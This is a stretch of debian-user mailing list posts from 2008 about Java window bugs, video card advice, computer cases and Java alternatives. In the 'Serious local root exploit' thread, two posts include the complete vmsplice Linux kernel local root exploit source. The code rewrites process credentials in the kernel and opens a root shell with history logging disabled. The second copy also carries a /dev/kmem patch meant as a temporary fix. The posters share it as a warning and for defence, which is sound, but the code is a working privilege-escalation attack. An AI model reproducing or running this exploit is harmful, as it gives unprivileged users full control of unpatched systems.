> 
> This has been a known problem for a while. A long while. There exist several
> workarounds. One of them is to change the toolkit like this:
> 
> AWT_TOOLKIT=MToolkit java SomeApp.class

yeah, its annoying...

> 
> This is wrong, doesn't always work and has bad side effects. It's not working 
> in
> my case anyways.
> 
> There was another workaround which I remember having employed several times
> successfully already - but I don't remember the details and after a 
> frustrating
> Google search it seems the instructions are nowhere to be found.
> 
> It involved sed -i'ing some obscure java-x-lib and removing xinerama 
> extensions
> and replacing them with something else, like a dummy parameter. But all this
> relys on accurate information about how to do it and I don't know it. Maybe
> those are really two unrelated things (one having to do with WM-names, the 
> other
> with Xinerama extensions being compiled into X libs..) but I think they were 
> at
> least connected. I have xinerama. I need it.
> 
> Does any one of you happen to remember how to resolve this
> frustration of mine?

I know it's three days later, but you're best bet is to go to #xmonad.

A


signature.asc
Description: Digital signature


Re: "apt-listbugs list postix" doesn't tell error ...

2008-02-10 Thread Andrew Sackville-West
On Sun, Feb 10, 2008 at 11:38:11PM +0100, Gerard Robin wrote:
> Hello,
> A small comment about the command "apt-listbugs list".
> By mistake I wrote "apt-listbugs list postix" instead "apt-listbugs list 
> postfix"
> and I got:
>
> Reading package fields... Done
> Reading package status... Done
> Retrieving bug reports... Done
> Parsing Found/Fixed information... Done
>
> So I did "apt-get install postfix" ---8<---
> Reading package fields... Done
> Reading package status... Done
> Retrieving bug reports... Done
> Parsing Found/Fixed information... Done
> grave bugs of postfix (2.4.6-5 -> 2.5.1~rc1-1) 
>  #311812 - postfix: syslog reconnection
> Summary:
>  postfix(1 bug)
> Are you sure you want to install/upgrade the above packages? [Y/n/?/...]
>
> I was surprised ...
>
> Why "apt-listbugs list postix" doesn't notify like "apt-get install postix":

because its postFix not postix.

A


signature.asc
Description: Digital signature


Video card suggestion

2008-02-10 Thread KS
Hi all,

I am planning on assembling an AMD based system. I noticed that most of
the motherboards that I am looking at (socket AM2 or AM2+) do not
onboard video card. That isn't a problem as I will put a dedicated video
card in there. But I'm a bit confused as to which brand to go for:
Nvidia or ATI.

I have had a 5700LE Nvidia card(AGP) and it has been working great with
it's proprietary drivers (and nv driver also). I got it almost 2years
ago. How has the graphics cards scene changed since then? Does ATI based
cards support 3D acceleration and are as easily recognized as Nvidia
cards? The ones that looked attractive (price wise) are:

ATI:
ASUS EAH2600XT/HTDP/256M Radeon HD 2600XT 256MB 128-bit GDDR3 PCI
Express x16
http://www.newegg.com/Product/Product.aspx?Item=N82E16814121082

SAPPHIRE 100220L Radeon HD 2600XT 256MB 128-bit GDDR4 PCI Express x16
http://www.newegg.com/Product/Product.aspx?Item=N82E16814102708

MSI RX2600XT-T2D512EZ Radeon HD 2600XT 512MB 128-bit GDDR3 PCI Express x16
http://www.newegg.com/Product/Product.aspx?Item=N82E16814127298



as opposed to - Nvidia:
XFX PVT84JUDD3 GeForce 8600GT XXX 256MB 128-bit GDDR3 PCI Express x16
http://www.newegg.com/Product/Product.aspx?Item=N82E16814150229

MSI NX8600GTS-T2D256E-OC GeForce 8600GTS 256MB 128-bit GDDR3 PCI Express x16
http://www.newegg.com/Product/Product.aspx?Item=N82E16814127284

XFX PVT84GUDF3 GeForce 8600GTS 256MB 128-bit GDDR3 PCI Express x16
http://www.newegg.com/Product/Product.aspx?Item=N82E16814150228

Thanks,
KS.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Video card suggestion

2008-02-10 Thread Alan Ianson
On Sun February 10 2008 03:45:31 pm KS wrote:
> Hi all,
>
> I am planning on assembling an AMD based system. I noticed that most of
> the motherboards that I am looking at (socket AM2 or AM2+) do not
> onboard video card. That isn't a problem as I will put a dedicated video
> card in there. But I'm a bit confused as to which brand to go for:
> Nvidia or ATI.
>
> I have had a 5700LE Nvidia card(AGP) and it has been working great with
> it's proprietary drivers (and nv driver also). I got it almost 2years
> ago. How has the graphics cards scene changed since then? Does ATI based
> cards support 3D acceleration and are as easily recognized as Nvidia
> cards? The ones that looked attractive (price wise) are:
>
> ATI:
> ASUS EAH2600XT/HTDP/256M Radeon HD 2600XT 256MB 128-bit GDDR3 PCI
> Express x16
> http://www.newegg.com/Product/Product.aspx?Item=N82E16814121082
>
> SAPPHIRE 100220L Radeon HD 2600XT 256MB 128-bit GDDR4 PCI Express x16
> http://www.newegg.com/Product/Product.aspx?Item=N82E16814102708
>
> MSI RX2600XT-T2D512EZ Radeon HD 2600XT 512MB 128-bit GDDR3 PCI Express x16
> http://www.newegg.com/Product/Product.aspx?Item=N82E16814127298
>
> as opposed to - Nvidia:
> XFX PVT84JUDD3 GeForce 8600GT XXX 256MB 128-bit GDDR3 PCI Express x16
> http://www.newegg.com/Product/Product.aspx?Item=N82E16814150229
>
> MSI NX8600GTS-T2D256E-OC GeForce 8600GTS 256MB 128-bit GDDR3 PCI Express
> x16 http://www.newegg.com/Product/Product.aspx?Item=N82E16814127284
>
> XFX PVT84GUDF3 GeForce 8600GTS 256MB 128-bit GDDR3 PCI Express x16
> http://www.newegg.com/Product/Product.aspx?Item=N82E16814150228

I have always used an nvidia card myself, and they work well for me. I run a 
5700LE also as well as a 6200 with 256mb. The drivers haven't been in testing 
for quite a while so if you use testing you'll need to get the packages from 
unstable. I find nvidia-kernel-legacy-96xx works well.

I have been looking over the ati stuff lately though. They use the fglrx 
package and soon they will also have the aiglx packages (don't know much 
about these).

I think my next video card will be an ati (owned by amd now I think) and see 
how it goes.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Java Grey Windows/Blank Windows/Sun are stupid

2008-02-10 Thread Александър Л . Димитров
Quoth Andrew Sackville-West:
> On Thu, Feb 07, 2008 at 04:34:37PM +0100, Александър Л. Димитров wrote:
> > 
> > AWT_TOOLKIT=MToolkit java SomeApp.class
> 
> yeah, its annoying...

A little bit...
> > 
> > This is wrong, doesn't always work and has bad side effects. It's not 
> > working in
> > my case anyways.
> > 
> > There was another workaround which I remember having employed several times
> > successfully already - but I don't remember the details and after a 
> > frustrating
> > Google search it seems the instructions are nowhere to be found.
> > 
> > It involved sed -i'ing some obscure java-x-lib and removing xinerama 
> > extensions
> > and replacing them with something else, like a dummy parameter. But all this
> > relys on accurate information about how to do it and I don't know it. Maybe
> > those are really two unrelated things (one having to do with WM-names, the 
> > other
> > with Xinerama extensions being compiled into X libs..) but I think they 
> > were at
> > least connected. I have xinerama. I need it.
> > 
> > Does any one of you happen to remember how to resolve this
> > frustration of mine?
> 
> I know it's three days later, but you're best bet is to go to #xmonad.

Yeah, they know that problem, but it seems to be non-trivial to get around it.
There is an XMonad extension that fakes the WM-name and thus makes things work
(can you imagine that? I'm a programmer... my guts *cringe* when I read about a
workaround *this* stupid - that's what you get taught in *every* CS class: don't
blow it up _that_ seriously!! -Environmental Descriptions- are not to be 
hardcoded!!). 
As it seems, this does cause segfaults for some people, however.

By the way, I've found out about that xinerama-thing. Well, it was something
else entirely, connected to xlib-segfaults when starting java apps. That was a
problem a while ago, they seem to have fixed it, though I remember it being
around for at least half a year...

It seems Sun is letting interns design their X-interface. Though I think interns
should actually perform better.

Aleks


signature.asc
Description: Digital signature


Re: [OT] beefy steel cases

2008-02-10 Thread Douglas A. Tutty
On Sun, Feb 10, 2008 at 03:53:57PM -0500, Haines Brown wrote:
 
> You might try this: 
> 
>  http://www.calpc.com/
> 
> Back in the 90s I had one of these cases. Solid, but did not have the
> sophisticated feel of the cases I've used since. Perhaps because at that
> point cases weren't standardized to the extent they are now. You can get
> any kind of case you want from them, such as a full tower serer case, a
> rack mount case, etc. 
> 

Thanks, they certainly look solid.  I'll check more.

Doug.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: [OT] beefy steel cases

2008-02-10 Thread Douglas A. Tutty
In perusing non-propriatary (not IBM, HP, Dell, etc) high quality cases,
the SuperMicro brand has come up a lot.

Based on what I've been learning about EMF shielding, the case in which
my Athlon64 is house is inadequate (too many grills insolated with bits
of plastic from the surounding case, aluminum instead of steel, etc).

I'm wondering about a SuperMicro case for the Athlon64.  Does anyone
have any experience with them?  Are they steel?  Does steel back up any
plastic trim pieces?  On hot-swap trays (in case I find a used one), is
there metal between the drive and the front latch handle?  Is the drive
bay door metal or plastic?

Have you had good experince with SuperMicro?

Thanks,

Doug.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Multiple Java installed, how to switch?

2008-02-10 Thread Александър Л . Димитров
Quoth Davide Mancusi:
> Magnus Therning ha scritto:
>> How do I make sure that all the java-related links in /etc/alternatives
>> are sane?
>>
>> I installed icedtea, then purged it and installed sun-java5 and
>> sun-java6.  Some links in /etc/alternatives are still pointing to the
>> (now non-existing) tools that came with icedtea.  How do I easily switch
>> them to all point to the tools of a specific java package?
>
>   That's weird. Does the following help?
> # update-alternatives --config java
> You might want to try also
> # update-alternatives --auto java
> and have a look at the other link groups related to java (man  
> update-alternatives).

There also is 'update-java-alternatives'. Should do the same thing...

# update-java-alternatives -l
java-6-sun 63 /usr/lib/jvm/java-6-sun
java-gcj 1042 /usr/lib/jvm/java-gcj
# update-java-alternatives -s java-gcj  
#

this should take care of your problem.

Aleks


signature.asc
Description: Digital signature


Re: USB pendrive mobility (fat32)?

2008-02-10 Thread David S
Marc Shapiro wrote:
>> Amazing as in, XP can't.  This seems a fairly insane design decision on
>> the part of MS.
>>   
> Does Vista do this, too?

Yup.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



How to use minicom with Paralell Port

2008-02-10 Thread Andres Migliazzo
Hello Gang,

  I've recently bought a SPARC server and I have to configure it using
LOM (Lights
out Management)... SUN sent me a DB25 to Ethernet adapter but, due I've
installed debian using the netinstall and I've installed only the piece of
software that I need (I don't have Internet in my new home yet :S), plus
I've compiled my kernel without Paralell Port Support (which is absolutely
fixable), BUT I don't have the parallel port device created (lp, plip or
something).

I've attached a text file with the list of my devices, I hope you can help
me on this. Basically I need to set up minicom to use parallel port and set
up mi new SPARC.

Thank you in advance


devices.tar.gz
Description: GNU Zip compressed data


Serious local root exploit in linux kernel

2008-02-10 Thread Raj Kiran Grandhi
Please see:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464945
https://bugs.launchpad.net/ubuntu/+source/linux-source-2.6.22/+bug/190587
https://bugzilla.redhat.com/show_bug.cgi?id=432229

A local root exploit has been discovered in the linux kernel yesterday. 
Virtually all the stock kernels provided by several distributions in the 
past year appear to be vulnerable.


I am still hinting for a temporary fix, but till that I guess I'll have 
to disable login access to all but a handful of absolutely trusted users.


I have attached a proof-of-concept source code that can be found in the 
bug reports.


Too scary!


--
Raj Kiran Grandhi


/*
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 */

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define __KERNEL__
#include 

#define PIPE_BUFFERS	16
#define PG_compound	14
#define uint		unsigned int
#define static_inline	static inline __attribute__((always_inline))
#define STACK(x)	(x + sizeof(x) - 40)

struct page {
	unsigned long flags;
	int count;
	int mapcount;
	unsigned long private;
	void *mapping;
	unsigned long index;
	struct { long next, prev; } lru;
};

void	exit_code();
char	exit_stack[1024 * 1024];

void	die(char *msg, int err)
{
	printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
	fflush(stdout);
	fflush(stderr);
	exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	316
#endif

#define USER_CS		0x73
#define USER_SS		0x7b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"movl %0, 0x10(%%esp) ;"
	"movl %1, 0x0c(%%esp) ;"
	"movl %2, 0x08(%%esp) ;"
	"movl %3, 0x04(%%esp) ;"
	"movl %4, 0x00(%%esp) ;"
	"iret"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	"i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movl %%esp, %%eax ;"
	"andl %1, %%eax ;"
	"movl (%%eax), %0"
	: "=r" (curr)
	: "i" (~8191)
	);
	return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	278
#endif

#define USER_CS		0x23
#define USER_SS		0x2b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"swapgs ;"
	"movq %0, 0x20(%%rsp) ;"
	"movq %1, 0x18(%%rsp) ;"
	"movq %2, 0x10(%%rsp) ;"
	"movq %3, 0x08(%%rsp) ;"
	"movq %4, 0x00(%%rsp) ;"
	"iretq"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	"i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movq %%gs:(0), %0"
	: "=r" (curr)
	);
	return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice	__NR_vmsplice
_syscall4(
	long, _vmsplice,
	int, fd,
	struct iovec *, iov,
	unsigned long, nr_segs,
	unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)	syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void	kernel_code()
{
	int	i;
	uint	*p = get_current();

	for (i = 0; i < 1024-13; i++) {
		if (p[0] == uid && p[1] == uid &&
		p[2] == uid && p[3] == uid &&
		p[4] == gid && p[5] == gid &&
		p[6] == gid && p[7] == gid) {
			p[0] = p[1] = p[2] = p[3] = 0;
			p[4] = p[5] = p[6] = p[7] = 0;
			p = (uint *) ((char *)(p + 8) + sizeof(void *));
			p[0] = p[1] = p[2] = ~0;
			break;
		}
		p++;
	}	

	exit_kernel();
}

void	exit_code()
{
	if (getuid() != 0)
		die("wtf", 0);

	printf("[+] root\n");
	putenv("HISTFILE=/dev/null");
	execl("/bin/bash", "bash", "-i", NULL);
	die("/bin/bash", errno);
}

int	main(int argc, char *argv[])
{
	int		pi[2];
	size_t		map_size;
	char *		map_addr;
	struct iovec	iov;
	struct page *	pages[5];

	uid = getuid();
	gid = getgid();
	setresuid(uid, uid, uid);
	setresgid(gid, gid, gid);

	printf("---\n");
	printf(" Linux vmsplice Local Root Exploit\n");
	printf(" By qaaz\n");
	printf("---\n");

	if (!uid || !gid)
		die("[EMAIL PROTECTED]", 0);

	/*/
	pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
	pages[1] = pages[0] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
	MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[0]);
	printf("[+] page: 0x%lx\n", pages[1]);

	pages[0]->flags= 1 << PG_compound;
	pages[0]->private  = (unsigned long) pages[0];
	pages[0]->count= 1;
	pages[1]->lru.next = (long) kernel_code;

	/*/
	pages[2] = *(void **) pages[0];
	pages[3] = pages[2] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
	MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size

Re: Serious local root exploit in linux kernel

2008-02-10 Thread Raj Kiran Grandhi
Raj Kiran Grandhi wrote:

Please see:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464945
https://bugs.launchpad.net/ubuntu/+source/linux-source-2.6.22/+bug/190587
https://bugzilla.redhat.com/show_bug.cgi?id=432229

A local root exploit has been discovered in the linux kernel yesterday. 
Virtually all the stock kernels provided by several distributions in the 
past year appear to be vulnerable.


I am still hinting for a temporary fix, but till that I guess I'll have 
to disable login access to all but a handful of absolutely trusted users.


I have attached a proof-of-concept source code that can be found in the 
bug reports.


Too scary!



The attached file pulled from the debian bug report page fixes the issue 
till the next reboot.


--
Raj Kiran Grandhi
/*
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 */

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define __KERNEL__
#include 

#define PIPE_BUFFERS16
#define PG_compound 14
#define uintunsigned int
#define static_inline   static inline __attribute__((always_inline))
#define STACK(x)(x + sizeof(x) - 40)

struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};

voidexit_code();
charexit_stack[1024 * 1024];

voiddie(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice   316
#endif

#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246

static_inline
voidexit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

static_inline
void *  get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice   278
#endif

#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246

static_inline
voidexit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

static_inline
void *  get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice  __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

voidkernel_code()
{
int i;
uint*p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}   

exit_kernel();
}

voidde_exploit()
{
  char line[4096];
  FILE* ksyms = fopen("/proc/kallsyms", "r");
  size_t address = 0;

  if(!ksyms)
  {
perror("Could not open /proc/kallsyms");

exit(EXIT_FAILURE);
  }

  while(fgets(line, sizeof(line), ksyms))
  {
if(strstr(line, " sys_vmsplice"))
{
  sscanf(line, "%zx", &address);

  break;
}
  }

  if(!address)
  {
fprintf(stderr, "Address not found\n");

exit(EXIT_FAILURE);
  }

  int fd = open("/dev/kmem", O_RDWR);

  if(fd == -1)
  {
perror("open(\"/dev/kmem\")");

exit(EXIT_FAILURE);
  }

  char* map = mmap(0, 0x20, PROT_READ | PROT_WRITE, MAP_SHARED, fd, address & ~0xFFF);

  if(map == MAP_FAILED)
  {
perror("mmap");

exit(

Re: Java Grey Windows/Blank Windows/Sun are stupid

2008-02-10 Thread Andrew Sackville-West
On Mon, Feb 11, 2008 at 01:41:56AM +0100, Александър Л. Димитров wrote:
> > 
> > I know it's three days later, but you're best bet is to go to #xmonad.
> 
> Yeah, they know that problem, but it seems to be non-trivial to get around it.
> There is an XMonad extension that fakes the WM-name and thus makes things work
> (can you imagine that? I'm a programmer... my guts *cringe* when I read about 
> a
> workaround *this* stupid - that's what you get taught in *every* CS class: 
> don't
> blow it up _that_ seriously!! -Environmental Descriptions- are not to be 
> hardcoded!!). 
> As it seems, this does cause segfaults for some people, however.

I agree, that is the definition of an ugly hack. 

So in terms of an ugly hack to solve your problem -- how to run this
java-x app in xmonad... If it's a critical must have app but you are
unable to give up xmonad (I'm with you there!), here's an idea. 

Why not run just this java app in an xnest or xserver-xephyr session?
If the app will run and display without a window manager at all, like using
startx java-app or having just the java-app in your .xinitrc, then you
could even run that nested session without a WM altogether. Or run it
fullscreen in whatever WM you can get to work with it. I have
absolutely no idea how hard it would be to do this and whether the
results would be satisfactory. I also recognise that it's just as ugly
a hack as spoofing the WM name, but maybe it would work for you. 

A


signature.asc
Description: Digital signature


Re: (no subject)

2008-02-10 Thread Ron Johnson
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 02/10/08 16:24, Douglas A. Tutty wrote:
> On Sun, Feb 10, 2008 at 11:55:12AM -0800, Paul Johnson wrote:
>> On Feb 10, 2008 8:16 AM, Paul Dransfield <[EMAIL PROTECTED]> wrote:
>>> This installation cuts out my CPU fan, therefore the installation cannot
>>> complete
>> You may find you receive better answers if you can ask a complete and
>> intelligently worded question.
>> http://catb.org/~esr/faqs/smart-questions.html
> 
> And if you read the installation manual which would give you the form to
> fill out and where to send it so that your questions get answered by
> people who use the installer frequently.  On Debian, you only need to
> run the installer when you build a new hardware box.

Hah!!!  Last month I built a new system and simply carried "hda"
across to the new system.  Took a bit of pre-planning to ensure that
the kernel was SMP, knew about the new drivers as well as the old,
and persistent_rules needed a little fiddling with, but other than
that, it was a smooth transfer.  Of course, it helped that the old
and new systems both were AMD with NVIDIA video cards...

Still, I've seen my Uncle hose Windows systems doing something
similar, because Windows so often needs external drivers.

- --
Ron Johnson, Jr.
Jefferson LA  USA

PETA - People Eating Tasty Animals
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFHr6wWS9HxQb37XmcRAhv2AKDRcMNJOigk2jzMYJVomfzzJlvbQwCg2zAd
GyWPYzEp1Vee0qGfjmP+WIs=
=IPND
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Serious local root exploit in linux kernel

2008-02-10 Thread Jeff D
Raj Kiran Grandhi wrote:

Please see:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464945
https://bugs.launchpad.net/ubuntu/+source/linux-source-2.6.22/+bug/190587
https://bugzilla.redhat.com/show_bug.cgi?id=432229

A local root exploit has been discovered in the linux kernel yesterday. 
Virtually all the stock kernels provided by several distributions in the 
past year appear to be vulnerable.


I am still hinting for a temporary fix, but till that I guess I'll have 
to disable login access to all but a handful of absolutely trusted users.


I have attached a proof-of-concept source code that can be found in the 
bug reports.


Too scary!





On kernels I compile myself, I just applied the patch from here:

http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=712a30e63c8066ed84385b12edbfb804f49cbc44

recompiled my kernel, and exploit no longer works.


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Re: Video card suggestion

2008-02-10 Thread KS
Douglas A. Tutty wrote:
> On Sun, Feb 10, 2008 at 06:45:31PM -0500, KS wrote:
>> I am planning on assembling an AMD based system. I noticed that most of
>> the motherboards that I am looking at (socket AM2 or AM2+) do not
>> onboard video card. That isn't a problem as I will put a dedicated video
>> card in there. But I'm a bit confused as to which brand to go for:
>> Nvidia or ATI.
> 
> It depends (as always).
> 
> -- Do you want or need 3D, or have you been happy with the nv driver?
> 
> -- Do you have philisophical or security concerns around using nVIDIA's
> kernel blob driver?
> 
> Check out the opendesktop website and follow the links and see where
> things stand right now with ATI.  My feeling is that if ATI is opening
> up specs, we should support them once the ATI drivers come on line.
> That website should let you know.
> 
> Doug.

Yes, 3D is needed at times  when I want to play games. Although that
isn't that often, but still.

But when I'm paying for the nVidia or ATI cards, I want their own
drivers to work and utilize all the features of the hardware. It is
another case that I am using nv instead of nVidia right now, but it is
easy to get it working again. How do ATI cards fare in that regards? Is
installing and removing ATI drivers ( proprietary ) as easy as nVidia's?
How different is the performance?

Oh, and how does nouveau fare for nVidia? Has anyone tested it yet?

KS.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Video card suggestion

2008-02-10 Thread Ron Johnson
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 02/10/08 17:45, KS wrote:
> Hi all,
> 
> I am planning on assembling an AMD based system. I noticed that most of
> the motherboards that I am looking at (socket AM2 or AM2+) do not
> onboard video card. That isn't a problem as I will put a dedicated video
> card in there. But I'm a bit confused as to which brand to go for:
> Nvidia or ATI.
> 
> I have had a 5700LE Nvidia card(AGP) and it has been working great with
> it's proprietary drivers (and nv driver also). I got it almost 2years
> ago. How has the graphics cards scene changed since then? Does ATI based
> cards support 3D acceleration and are as easily recognized as Nvidia
> cards?

They've opened their specs, but good 3D video drivers take time to
write.  Maybe in two years I'll get an ATI card, but maybe then
again maybe I'll buy another NVIDIA, in recognition that they put
their money where their mouth was at a time when most h/w OEMs
wouldn't give FLOSS projects the time of day...

>The ones that looked attractive (price wise) are:
> 
> ATI:
> ASUS EAH2600XT/HTDP/256M Radeon HD 2600XT 256MB 128-bit GDDR3 PCI
> Express x16
> http://www.newegg.com/Product/Product.aspx?Item=N82E16814121082
> 
> SAPPHIRE 100220L Radeon HD 2600XT 256MB 128-bit GDDR4 PCI Express x16
> http://www.newegg.com/Product/Product.aspx?Item=N82E16814102708
> 
> MSI RX2600XT-T2D512EZ Radeon HD 2600XT 512MB 128-bit GDDR3 PCI Express x16
> http://www.newegg.com/Product/Product.aspx?Item=N82E16814127298
> 
> 
> 
> as opposed to - Nvidia:
> XFX PVT84JUDD3 GeForce 8600GT XXX 256MB 128-bit GDDR3 PCI Express x16
> http://www.newegg.com/Product/Product.aspx?Item=N82E16814150229
> 
> MSI NX8600GTS-T2D256E-OC GeForce 8600GTS 256MB 128-bit GDDR3 PCI Express x16
> http://www.newegg.com/Product/Product.aspx?Item=N82E16814127284
> 
> XFX PVT84GUDF3 GeForce 8600GTS 256MB 128-bit GDDR3 PCI Express x16
> http://www.newegg.com/Product/Product.aspx?Item=N82E16814150228

Unless you are doing *serious* 3D work, Linux just does *not* need
leading-edge video.

I purchased a fanless PCI-e ASUS EN7200GS card with 256MB (maybe
128MB) RAM from NewEgg, and am very happy with it.

- --
Ron Johnson, Jr.
Jefferson LA  USA

PETA - People Eating Tasty Animals
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFHr7DaS9HxQb37XmcRAoqsAKDrGvMDW7mYBurnhP1ZxPnGVjY48wCfcFFP
h3GzSSiHE5nxvCI3Fk07rUQ=
=XzqK
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Video card suggestion

2008-02-10 Thread steve
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Ron Johnson wrote:
| On 02/10/08 17:45, KS wrote:
|> Hi all,
|
|> I am planning on assembling an AMD based system. I noticed that most of
|> the motherboards that I am looking at (socket AM2 or AM2+) do not
|> onboard video card. That isn't a problem as I will put a dedicated video
|> card in there. But I'm a bit confused as to which brand to go for:
|> Nvidia or ATI.
|
|> I have had a 5700LE Nvidia card(AGP) and it has been working great with
|> it's proprietary drivers (and nv driver also). I got it almost 2years
|> ago. How has the graphics cards scene changed since then? Does ATI based
|> cards support 3D acceleration and are as easily recognized as Nvidia
|> cards?
|
| They've opened their specs, but good 3D video drivers take time to
| write.  Maybe in two years I'll get an ATI card, but maybe then
| again maybe I'll buy another NVIDIA, in recognition that they put
| their money where their mouth was at a time when most h/w OEMs
| wouldn't give FLOSS projects the time of day...
|
|>The ones that looked attractive (price wise) are:
|
|> ATI:
|> ASUS EAH2600XT/HTDP/256M Radeon HD 2600XT 256MB 128-bit GDDR3 PCI
|> Express x16
|> http://www.newegg.com/Product/Product.aspx?Item=N82E16814121082
|
|> SAPPHIRE 100220L Radeon HD 2600XT 256MB 128-bit GDDR4 PCI Express x16
|> http://www.newegg.com/Product/Product.aspx?Item=N82E16814102708
|
|> MSI RX2600XT-T2D512EZ Radeon HD 2600XT 512MB 128-bit GDDR3 PCI
Express x16
|> http://www.newegg.com/Product/Product.aspx?Item=N82E16814127298
|
|
|
|> as opposed to - Nvidia:
|> XFX PVT84JUDD3 GeForce 8600GT XXX 256MB 128-bit GDDR3 PCI Express x16
|> http://www.newegg.com/Product/Product.aspx?Item=N82E16814150229
|
